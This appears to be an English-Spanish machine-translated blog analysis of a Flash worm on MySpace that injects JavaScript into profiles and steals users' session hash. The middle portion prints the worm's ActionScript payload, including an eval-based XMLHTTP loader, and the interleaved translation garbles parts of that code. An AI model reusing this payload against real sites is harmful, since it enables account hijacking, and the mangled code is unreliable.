MySpace has been infected by Flash based (swf) worm which spreading rapidly through MySpace. MySpace ha sido infectado por Flash basada (swf) gusano que propaga rápidamente a través de MySpace. It is embedding JavaScript code into users’ profiles that redirects visitors to a site claiming the US government was behind the 9/11 terrorist attacks, Symantec Es la integración de código JavaScript en los usuarios los perfiles de los visitantes que redirecciona a un sitio reclama el gobierno de los EE.UU. estuvo detrás del 9 / 11 ataques terroristas, Symantec warned advirtió Monday. Lunes. However it may be just the tip of the iceberg. Sin embargo, puede ser sólo la punta del iceberg. Let’s take a look at how it works to understand how it can be easily modified to deliver much devastating payloads. Echemos un vistazo a cómo se trabaja para entender cómo se puede modificar fácilmente para entregar mucho más devastadoras cargas útiles.

The unnamed worm isn’t malicious but the Shockwave Flash (.swf) file containing the payload embeds JavaScript into the profile of any MySpace user who views the .swf file. Los sin nombre del gusano no es dañino, pero el Shockwave Flash (. Swf) archivo que contiene la carga útil JavaScript incrusta en el perfil de MySpace cualquier usuario que los puntos de vista. Archivo swf. This can easily replicate Esto puede reproducir fácilmente Samy is my friend Samy es mi amigo worm without breaking a sweat. gusano sin romper a sudar.

This javascript code would then be interpreted by any user who visited the site, allowing sensitive data to be stolen, such as a hash value required to carry out operations as a user, and performing operations on behalf of that users (without consent obviously). Este código javascript entonces ser interpretado por cualquier usuario que visitó el lugar, permitiendo que los datos sensibles a ser robados, como un valor hash necesario para llevar a cabo operaciones como usuario, y realizar operaciones en nombre de que los usuarios (obviamente sin su consentimiento). Currently, that access is being used only to spread the JavaScript code to other profiles on the popular social network site. Actualmente, el acceso que se utiliza sólo para difundir el código JavaScript a otros perfiles en el popular sitio de la red social.

If the payload is malicious, it can carry out secondary attacks like targeting recently discovered vulnerabilities affecting Microsoft Office content. Si la carga útil es malicioso, que puede llevar a cabo ataques secundarios como la orientación recientemente descubiertas vulnerabilidades que afectan a Microsoft Office contenido. The impact would be much higher exposing even sensitive information on your hard-disk. El impacto sería mucho mayor exposición de información sensible, incluso a tu disco duro.

Let’s take a look at the worm, thanks to research by Echemos un vistazo al gusano, gracias a la investigación de kinematic.theory :

When you visited an already infected page, there is a Flash object embedded (”redirect.swf”) which contains the actionscript: Cuando usted visita una página que ya están infectadas, hay un objeto Flash embebido ( "redirect.swf") que contiene el actionscript:
getURL(" getUrl ( " url URL “); ");

It opens and redirects you to the specified blog URL. Se abre y se le redirecciona a la URL especificada blog.

On this blog url there is another flash file embedded - “retrievecookie.swf”. En este blog url hay otro archivo flash embebido - "retrievecookie.swf". It contains: Contiene:

getURL("javas\n\rcript: var x = new ActiveXObject(\'Msxml2.XMLHTTP\');x.open(\'GET\',\'http://editprofile.myspace.com/index.cfm?fuseaction=user.HomeComments&friendID=93634373\',true);x.onreadystatechange=function(){if (x.readyState==4){var pg=x.responseText;var sc=pg.substring(pg.indexOf(\'BX-\')+3,pg.indexOf(\'-EX\'));while((sc.indexOf(\' getUrl ( "javas \ n \ rcript: var x = new ActiveXObject (\ 'Msxml2.XMLHTTP \'); x.open (\" GET \ ', \' http://editprofile.myspace.com/index.cfm? fuseaction = user.HomeComments & friendID = 93634373 \ ', true); x.onreadystatechange = function () (if (x.readyState == 4) (var pg = x.responseText; var sc = pg.substring (pg.indexOf (\ 'BX-\') +3, pg.indexOf (\ '-EX \')); while ((sc.indexOf (\ '
\’)!=-1)||(sc.indexOf(\’-XXX\’)!=-1)){var n=sc.indexOf(\’ \')!=- 1) | | (sc.indexOf (\ '-XXX \')!=- 1)) (var n = sc.indexOf (\'
\’);if(n==-1)n=sc.indexOf(\’-XXX\’);sc=sc.substring(0,n)+sc.substring(n+5,sc.length);};” + “eval(sc);}};” + “x.send(null);”, “”); \ '); Si (n ==- 1) n = sc.indexOf (\'-XXX \ '); sc.substring sc = (0, n) + sc.substring (n +5, sc.length); ); "+" Eval (sc );}};" + "x.send (null);", "");

It opens another blog post ( Se abre otra entrada del blog ( link vínculo ) and evaluates its contents. ) Y evalúa su contenido.

This code gets your MySpace hash which allows anyone to act as you on MySpace and perform any operations on your behalf like changing your password or adding someone unknown as your friend, anything you can do on MySpace. Este código le da su MySpace hash que permite a toda persona que actúe como usted en MySpace y realizar todas las operaciones en su nombre como cambiar su contraseña o la adición de alguien desconocido como su amigo, cualquier cosa que usted puede hacer en MySpace. Currently the code adds a message to your MySpace profile. En la actualidad, el código añade un mensaje a su perfil de MySpace. It extensively use AJAX for its operations. Es ampliamente el uso de AJAX para sus operaciones.